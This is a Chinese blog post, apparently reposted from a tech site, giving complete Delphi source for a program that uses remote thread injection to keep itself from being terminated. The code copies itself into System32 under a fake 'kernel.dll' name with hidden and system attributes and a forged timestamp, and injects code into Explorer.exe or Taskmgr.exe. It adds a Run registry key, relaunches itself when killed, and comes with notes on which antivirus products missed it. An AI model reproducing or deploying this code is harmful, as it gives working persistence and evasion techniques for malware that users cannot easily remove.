您的位置:首页 > 运维架构

一个利用线程注入进行互相监控而防止程序被终止的程序

2008-10-31 10:25 936 查看
以下程序非本人原创,原为C代码,俺代为改成Delphi代码,并做了部分杀毒软件的测试.结果如下:(均为默认设置)

Nod32   未扫出危险代码; 运行后未报警

卡吧   未扫出危险代码; 运行后报警

McAfee  未扫出危险代码; 运行后未报警

小红伞  扫出危险代码; 运行后报警

代码如下:(仅供参考,不要用在病毒,木马程序上!)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,PSAPI, StdCtrls,Registry;

type
PRemoteParameter = ^TRemoteParameter;
TRemoteParameter = record
pOutputDebugString : DWORD;
pOpenprocess : DWORD;
pWaitForSingleObject: DWORD;
pFindFirstFile : DWORD;
pCopyFile : DWORD;
pFindClose : DWORD;
pWinExeC : DWORD;

pRemotePid : DWORD;
pProcessHandle : THANDLE;
pFileHandle : THANDLE;
pTName : array[0..MAX_PATH] of char;
pKName : array[0..MAX_PATH] of char;
pWinexecName : array[0..MAX_PATH] of char;
pFData : WIN32_FIND_DATA;

pOpError : array[0..59] of char;
pFffError : array[0..59] of char;
pCfError : array[0..59] of char;
pFcError : array[0..59] of char;
pWeError : array[0..59] of char;
pString : array[0..59] of char;
pWfsoSignal : array[0..59] of char;
end;

TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

const Name1 = '/Test.exe';
const Name2 = '/kernel.dll';

var
Form1: TForm1;
wThread : THandle;

procedure Doaction;
function CreateRemote(tName: PChar; kName: PChar): THandle;
function remote(pvParam:pointer):integer;stdcall;
function watch(pvParam: Pointer): integer;stdcall;

type

EOutputDebugString = procedure(p : PChar); stdcall;
EOpenProcess = function(p1: DWORD; p2: Boolean; p3: DWORD):THandle; stdcall;
EWaitForSingleObject = function(p1: THandle; p2: DWORD):DWORD;stdcall;
EFindFirstFile = function(p1:PChar;p2: PWin32FindData):THandle;stdcall;
ECopyFile = function(p1:PChar; p2: PChar; p3: Boolean):Boolean;stdcall;
EFindClose = function(p:Thandle):Boolean;stdcall;
EWinExec = function(p1:PChar;p2:Cardinal):Cardinal;stdcall;

implementation

{$R *.dfm}

function StringToWideStringEx(const S: string; CodePage: Word): WideString;
var InputLength,
OutputLength: Integer;
begin
InputLength := Length(S);
OutputLength := MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, nil, 0);
SetLength(Result, OutputLength);
MultiByteToWideChar(CodePage, 0, PChar(S), InputLength, PWideChar(Result), OutputLength);
end;

function WideStringToStringEx(const WS: WideString; CodePage: Word): string;
var
InputLength,
OutputLength: Integer;
begin
InputLength := Length(WS);
OutputLength := WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, nil, 0, nil, nil);
SetLength(Result, OutputLength);
WideCharToMultiByte(CodePage, 0, PWideChar(WS), InputLength, PChar(Result), OutputLength, nil, nil);
end;

Function StringToUnicode(S:String):WideString;
begin
Result:=StringToWideStringEx(S,GetACP);
end;

Function UnicodeToString(S:WideString):string;
begin
Result:=WideStringToStringEx(S,GetACP);
end;

procedure DoAction;
var
fData : WIN32_FIND_DATA;
ffHandle : THandle;
fcHandle : THandle;
sTime : SYSTEMTIME;
fTime : FILETIME;
sysPath : array[0..MAX_PATH-1] of char;
curName : array[0..MAX_PATH-1] of char;
tName : array[0..MAX_PATH-1] of char;
kName : array[0..MAX_PATH-1] of char;
ret : integer;
rThread : THandle;
aHwnd : HWND;
rt : TRect;
ptNew : TPoint;
title : array[0..MAX_PATH-1] of char;
wp : WINDOWPLACEMENT;
aThreadId: Cardinal;
begin
// 获取System32目录的路径
// tName = System32/T-Mouse.exe; kName = System32/Kernel.dll
ret := GetSystemDirectory(syspath,MAX_PATH);
if ret = 0 then
begin
OutputDebugString('GetSystemDirectory Error'+#13#10);
exit;
end;
strlcopy(tName,sysPath,strlen(sysPath));
strCat(tName,Name1);
strlCopy(kName,SysPath,strlen(SysPath));
strCat(kName,Name2);

ffHandle := FindFirstFile(tName,fData); // 查找Test.exe
if(ffHandle=INVALID_HANDLE_VALUE) then
begin
if GetLastError = ERROR_FILE_NOT_FOUND then // 如果不存在,则复制当前文件为System32/Test.exe
begin
ret := GetModuleFileName(0,curName,MAX_PATH);
if ret = 0 then
begin
OutputDebugString('GetModuleFileName Error'+#13#10);
exit;
end;
if not CopyFIle(curName,tName,true) then
begin
OutputDebugString('CopyFile Error'+#13#10);
exit;
end;
end
else
begin
OutputDebugString('FindFirstFile Error'+#13#10);
exit;
end;
end
else
begin
if not Windows.FindClose(ffHandle) then
begin
OutputDebugString('FindClose Error!'+#13#10);
exit;
end;
end;
ffHandle := FindFirstFile(kName,fData); // 查找Kernel.dll
if ffHandle = INVALID_HANDLE_VALUE then
begin
if GetLastError = ERROR_FILE_NOT_FOUND then // 如果不存在,则复制当前文件为System32/Kernel.dll
begin
ret := GetModuleFileName(0,curName,MAX_PATH);
if ret = 0 then
begin
OutputDebugString('GetModuleFileName Error'+#13#10);
exit;
end;
if not CopyFile(curName,kName,true) then
begin
OutputDebugString('CopyFile Error'+#13#10);
exit;
end;
// 修改System32/Kernel.dll的属性为隐藏和系统及它的时间
fcHandle := CreateFile(kName,GENERIC_WRITE,FILE_SHARE_WRITE,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
if fcHandle = INVALID_HANDLE_VALUE then
begin
OutputDebugString('CreateFile Error'+#13#10);
exit;
end;
fillchar(sTime,sizeof(sTime),0);
stime.wYear := 2002;
stime.wMonth := 1;
stime.wDay := 12;
stime.wDayOfWeek := 5;
stime.wHour := 1;
if not SystemTImeToFileTime(sTime,fTime) then
begin
OutputDebugString('SystemTimeToFileTIme Error'+#13#10);
CloseHandle(fcHandle);
exit;
end;
if not SetFileTime(fcHandle,@fTime,nil,@fTime) then
begin
OutputDebugString('SetFileTime Error'+#13#10);
exit;
end;
if not SetFileAttributes(kName,FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM) then
begin
OutputDebugString('SetFileAttributes Error'+#13#10);
CloseHandle(fcHandle);
exit;
end;
CloseHandle(fcHandle);
end
else
begin
OutputDebugString('FindFirstFile Error'+#13#10);
exit;
end;
end
else if not Windows.FindClose(ffHandle) then
begin
OutputDebugString('FindClose Error'+#13#10);
exit;
end;

rThread := CreateRemote(tName,kName); // 远程注入线程到Exporer.exe 或 mgrtask.exe
if rthread = 0 then
begin
OutputDebugString('CreateRemote Error'+#13#10);
exit;
end;
// 创建一监视线程,监视远程注入的线程有没有在运行。
wThread := CreateThread(nil,0,@watch,@rThread,0,aThreadId);
if wThread = 0 then
begin
OutputDebugString('CreateThread Error'+#13#10);
CloseHandle(rThread);
exit;
end;
end;

function ProcessToPid(ProcessName: string):integer;
var
pidProcesses : array[0..1023] of DWORD;
cb,cbNeeded : DWORD;
cProcesses : DWORD;
hProcess : THANDLE;
hModule : THANDLE;
i : integer;
normalName : array[0..1023] of char;
begin
cb := sizeof(pidProcesses);
fillchar(normalName,sizeof(normalName),0);
result := -1;
if not EnumProcesses(@pidProcesses[0],cb,cbNeeded) then
begin
exit;
end;
cProcesses := cbNeeded div sizeof(DWORD);
for i := 0 to cProcesses - 1 do
begin
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,FALSE,pidProcesses[i]);
if hProcess <> 0 then
begin
if(EnumProcessModules(hProcess,@hModule,sizeof(hModule),cbNeeded)) then
begin
GetModuleBaseName(hProcess,hModule,normalName,sizeof(normalName));
if compareText(ProcessName,string(normalName)) = 0 then
begin
result := pidProcesses[i];
closeHandle(hProcess);
exit;
end;
end;
end;

end;

end;

function CreateRemote(tName: PChar; kName: PChar): THandle;
var
eThread : THandle;
pHandle : THandle;
aName : array[0..1,0..14] of char;
remoteThr : PChar;
remotePar : PChar;
remotePid : DWORD;
cb : integer;
signal : integer;
hKernel32 : THandle;
rp : TRemoteParameter;
cbByte : DWORD;
threadid : DWORD;
temp : widestring;
begin
strcopy(aName[0],'Explorer.exe');
strcopy(aName[1],'Taskmgr.exe');
signal := 1;
while(true) do
begin
signal := signal + 1;
remotePid := ProcessToPid(aName[(signal mod 2)]); //循环获取两个文件的PID
if remotePid = -1 then
begin
result := 0;
exit;
end
else
begin
if remotePid = 0 then
begin
if (signal mod 2)=0 then
begin
OutputDebugString('Remote process Explorer isn''t running!'+#13#10);
end
else
begin
OutputDebugString('Remote process Taskmgr isn''t running!'+#13#10);
end;
sleep(1000);
continue;
end;
pHandle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or PROCESS_VM_WRITE,False,remotePid);
if pHandle=0 then
begin
sleep(1000);
continue;
end
else
begin
break;
end;
end;
end;
cb := sizeof(char) * 4 * 1024; // 申请4K内存
remotethr := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if remotethr = nil then
begin
OutputDebugString('VirtualAllocEx for Thread error!'+#13#10);
closehandle(pHandle);
exit;
end;
// 远程注入列程
if not WriteProcessMemory(pHandle,remotethr,@remote,cb,cbByte) then
begin
OutputDebugString('WritePRocessMemory for thread error!'+#13#10);
closehandle(pHandle);
exit;
end;

fillchar(rp,0,sizeof(rp));
rp.pRemotePid := GetCurrentProcessId;
temp := StringToUnicode('i am in remote process'+#13#10);
copymemory(@rp.pString[0], @temp[1],length('i am in remote process'+#13#10)*2);
temp := StringToUnicode('CopyFile error'+#13#10);
copymemory(@rp.pCfError[0], @temp[1],length('CopyFile error'+#13#100)*2);
temp := StringToUnicode('FindClose error'+#13#10);
copymemory(@rp.pFcError[0], @temp[1],length('FindClose error'+#13#10)*2);
temp := StringToUnicode('FindFirstFile error'+#13#10);
copymemory(@rp.pFffError[0], @temp[1],length('FindFirstFile error'+#13#10)*2);
temp := StringToUnicode('OpenProcess error'+#13#10);
copymemory(@rp.pOpError[0], @temp[1],length('OpenProcess error'+#13#10)*2);
temp := StringToUnicode('WinExec error'+#13#10);
copymemory(@rp.pWeError[0], @temp[1],length('WinExec error'+#13#10)*2);
temp := StringToUnicode('i am out of remote process'+#13#10);
copymemory(@rp.pWfsoSignal[0], @temp[1],length('i am out of remote process'+#13#10)*2);

temp := StringToUnicode(string(tName));
copymemory(@rp.pTName[0],@temp[1],length(tName)*2);
temp := StringToUnicode(string(kName));
copymemory(@rp.pKName[0],@temp[1],length(kName)*2);

temp := StringToUnicode(string(tName));
WideCharToMultiByte(GetACP,0,@temp[1],-1,rp.pWinexecName,strlen(tName),nil,nil);

hKernel32 := GetModuleHandle(PChar('Kernel32.dll'));
rp.pOutputDebugString := DWORD(GetProcAddress(hKernel32,'OutputDebugStringW'));
rp.pOpenprocess := DWORD(GetProcAddress(hKernel32,'OpenProcess'));
rp.pWaitForSingleObject := DWORD(GetProcAddress(hKernel32,'WaitForSingleObject'));
rp.pFindFirstFile := DWORD(GetProcAddress(hKernel32,'FindFirstFileW'));
rp.pCopyFile := DWORD(GetProcAddress(hKernel32,'CopyFileW'));
rp.pFindClose := DWORD(GetProcAddress(hKernel32,'FindClose'));
rp.pWinExeC := DWORD(GetProcAddress(hKernel32,'WinExec'));

cb := sizeof(char) * sizeof(rp);
remotepar := virtualAllocEx(pHandle,nil,cb,MEM_COMMIT, PAGE_READWRITE);
if remotepar = nil then
begin
OutputDebugString(PChar(StringToUnicode('VirtualAllocEx for parameter error'+#13#10)));
closehandle(pHandle);
result := 0;
exit;
end;
// 远程注入一个结构,把一些要调用的数据传递过去
if not WriteProcessMemory(pHandle,remotepar,@rp,cb,cbByte) then
begin
OutputDebugString(PChar(StringToUnicode('WriteProcessMemory for paramter error'+#13#10)));
closehandle(pHandle);
result:= 0;
exit;
end;
//启动远程线程
eThread := CreateRemoteThread(pHandle,nil,0,remotethr,remotepar,0,threadid);
if eThread = 0 then
begin
OutputDebugString(PChar(StringToUnicode('CreateRemoteThread error'+#13#10)));
closehandle(pHandle);
result:= 0;
exit;
end;
result := eThread;
end;

function watch(pvParam: Pointer): integer;stdcall;
var
weThread : THandle;
exitcode : DWORD;
sName : array[0..MAX_PATH-1] of char;
wtName : array[0..MAX_PATH-1] of char;
wkName : array[0..MAX_PATH-1] of char;
lpData : array[0..MAX_PATH-1] of char;
rgsPath : string;
aType : DWORD;
dwBufLen : DWORD;
ret : integer;
reg : TRegistry;
aKey : HKEY;
begin
weThread := DWORD(pvParam);
rgsPath := 'software/microsoft/windows/currentversion/run';
aType := REG_SZ;
dwBufLen := MAX_PATH;
if GetSystemDirectory(sName,MAX_PATH)=0 then
begin
OutputDebugString('GetSystemDirectory in watch Error'+#13#10);
result := -1;
exit;
end;
strlcopy(wtName,sName,strlen(sName));
strcat(wtName,Name1);
strlcopy(wkName,sName,strlen(sName));
strcat(wkName,Name2);
while(true)do
begin

ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_QUERY_VALUE,aKey);
if ret <> ERROR_SUCCESS then
begin
OutputDebugString('RegOpenKeyEx for KEY_QUERY_VALUE Error'+#13#10);
break;
end;
dwBufLen := MAX_PATH;
ret := RegQueryValueEx(aKey,'Test',nil,nil,@lpData[0],@dwBufLen);
RegCloseKey(aKey);
if ret<>ERROR_SUCCESS then
begin
ret := RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(rgsPath),0,KEY_WRITE,aKey);
if ret <> ERROR_SUCCESS then
begin
OutputDebugString('RegOpenKeyEx For KEY_WRITE Error'+#13#10);
break;
end;
ret := RegSetValueEx(aKey,'Test',0,aType,@wtName[0],dwBufLen);
RegCloseKey(aKey);
if ret<> ERROR_SUCCESS then
begin
OutputDebugString('RegSetValueEx Error'+#13#10);
break;
end;
end;
GetExitCodeThread(weThread,exitCode);
if exitCode = STILL_ACTIVE then
weThread := createRemote(wtName,wkName);
sleep(1000);
end;
result:=0;
end;

function remote(pvParam: pointer):integer;stdcall;
var
erp : PRemoteParameter;
tOutputDebugString: EOutputDebugString;
tOpenProcess : EOPenProcess;
tWaitForSingleObject: EWaitForSingleObject;
tFindFirstFile : EFindFirstFile;
tCopyFIle : ECOpyFIle;
tFIndClose : EFindClose;
tWinExec : EWinExec;

begin
erp := PRemoteParameter(pvParam);
tOutputDebugString := EOutputDebugString(erp.pOutputDebugString);
tOpenProcess := EOpenProcess(erp.pOpenprocess);
tWaitForSingleObject:= EWaitForSingleObject(erp.pWaitForSingleObject);
tFIndFirstFile := EFindFirstFile(erp.pFindFirstFile);
tCopyFile := ECopyFile(erp.pCopyFile);
tFindClose := EFindClose(erp.pFindClose);
tWinExec := EWinExec(erp.pWinExeC);
tOutputDebugString(erp.pString);
erp.pProcessHandle := tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp.pRemotePid);
if erp.pProcessHandle = 0 then
begin
tOutputDebugString(erp.pOpError);
result := -1;
exit;
end;
tWaitForSingleObject(erp.pProcessHandle,INFINITE);
tOutputDebugString(erp.pWfsoSignal); //i am out of remote process
//查找System32/Test.exe存在不存在
erp.pFileHandle := tFindFirstFile(erp.pTName,@erp.pFData);
if erp.pFileHandle = INVALID_HANDLE_VALUE then
begin
tOutputDebugString(erp.pFffError);
// 不存在,则将System32/Kernel.dll拷贝为Test.exe
if not tCopyFile(erp.pKName,erp.pTName,true) then
begin
tOutputDebugString(erp.pCfError);
result := -1;
exit;
end;
end;
if not tFindClose(erp.pFileHandle) then
begin
tOutputDebugString(erp.pFcError);
result := -1;
exit;
end;
// 然后运行Test.exe
if(tWinExec(erp.pWinexecName,0)<=31) then
begin
tOutputDebugString(erp.pWeError);
result := -1;
exit;
end;
result := 0;

end;

procedure TForm1.Button1Click(Sender: TObject);
var
sName : array[0..MAX_PATH-1] of char;
wtName : array[0..MAX_PATH-1] of char;
wkName : array[0..MAX_PATH-1] of char;
lpData : array[0..MAX_PATH-1] of char;
begin
if GetSystemDirectory(sName,MAX_PATH)=0 then
begin
exit;
end;
strlcopy(wtName,sName,strlen(sName));
strcat(wtName,Name1);
strlcopy(wkName,sName,strlen(sName));
strcat(wkName,Name2);
showmessage(string(wtName) + ';' + string(wkName));
end;

procedure TForm1.Button2Click(Sender: TObject);
var
exitCode : Cardinal;
begin
TerminateThread(wThread,exitCode);
showmessage('1.监视线程已经被结束,请删除注册表的相应启动项Test.exe,然后注销后再登陆!'+#13#10+
'2.然后到System32目录下删除Test.exe和Kernel.dll!');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
doAction;
end;

end.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐